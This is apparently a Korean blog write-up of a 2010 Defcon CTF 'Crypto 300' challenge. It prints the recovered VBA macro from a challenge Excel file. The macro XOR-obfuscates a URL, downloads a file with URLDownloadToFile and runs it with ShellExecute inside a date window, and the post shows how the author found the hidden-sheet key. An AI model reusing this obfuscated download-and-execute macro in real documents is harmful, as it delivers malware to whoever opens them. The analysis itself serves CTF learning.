[Crypto 300]

 

[문제설명]

문제에서 제공하는 엑셀파일을 다운받아 실행하면 VB로 만든 게임이 실행된다. 양이 기어다닌다.

예전에 유행했던 프로그램이었는데…..

실제 패킷 캡쳐를 해보면 서버에서 ram.exe파일을 받아 온다. Ram.exe를 실행해도 양이 기어다닌다. 하지만 결국 이 파일은 Fake이다.



문제 파일을 다운로드 후 Passware Password Recovery kit Forensic Version 9.0으로 엑셀파일의 메크로에 설정되어 있는 암호를 크랙함

 

기존의 c300_f75bec6f545034716.xls파일에 패스워드를 대입하면 열리지 않는다.

 

Unprotected file : c300_f75bec6f545034716-unprotected.xls 에서 Visual Basic Editor를 실행  Y6HA1H” 입력하면 project에서 소스코드를 확인할 있다.

 

 

 

Private Declare Function URLDownloadToFile Lib "urlmon" Alias _

  "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _

  szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

 

Private Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" _

  (ByVal hwnd As Long, _

   ByVal lpOperation As String, _

   ByVal lpFile As String, _

   ByVal lpParameters As String, _

   ByVal lpDirectory As String, _

   ByVal nShowCmd As Long) As Long

 

Private Sub GF()

    WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16")

    FL = X("51092F16535C6F003A56")

    RV = URLDownloadToFile(0, WL, FL, 0, 0)

 

End Sub

 

Private Sub EX()

    Dim OF As String

    On Error Resume Next

    UP = X("51092F")

    OF = X("40521E4A574924")

    RV = ShellExecute(0, "open", OF, "", UP, 3)

 

End Sub

 

Private Function X(DI As String) As String

    Dim CK, sDO As String

    Dim lDP, iXV1, iXV2 As Integer

   

    On Error Resume Next

   

    CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _

        Worksheets("Data").Range("Z9550")

 

    For lDP = 1 To (Len(DI) / 2)

        iXV1 = Val("&H" & (Mid$(DI, (2 * lDP) - 1, 2)))

        iXV2 = Asc(Mid$(CK, ((lDP Mod Len(CK)) + 1), 1))

        sDO = sDO + Chr(iXV1 Xor iXV2)

    Next lDP

   X = sDO

End Function

 

Sub Rectangle1_Click()

    Asteroids.Show False

    Call MN

End Sub

 

Function KG()

     KG = Worksheets("Sheet2").Range("AE9529") & Worksheets("Sheet2").Range("Z9550") & _

            Worksheets("Sheet2").Range("E8761")

End Function

 

Sub MN()

    Dim SD As Date

    Dim ED As Date

    Dim CD As Date

   

'    On Error Resume Next

   

    SD = X("071C41571D03715472")

    ED = X("071C41521D03715472")

   

    CD = Date

   

    If (CD >= SD) And (CD < ED) Then

        Call GF

        Call EX

    End If

End Sub

 

 

 

 

Sheet2(Data)를 살펴보면 visible이 숨김으로 표시되어 있으므로 변경하여 활성화 시켜준다.


 

다음과 같이 Data 쉬트가 활성화 된다.

 

다음 CK 부분이 중요함

CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _

        Worksheets("Data").Range("Z9550")

 

-AU2-

 

 

-BE4866-

 

-Z9550-

 

 

Key : a23sd21AeB349sdfWewrfw29552

 




'Security > Defcon2010 CTF18' 카테고리의 다른 글

[CTF18] '2010 Defcon' My Team(0birthday) Score  (0) 2010.06.03
[CTF18] Crypto Badness 100  (0) 2010.05.31

+ Recent posts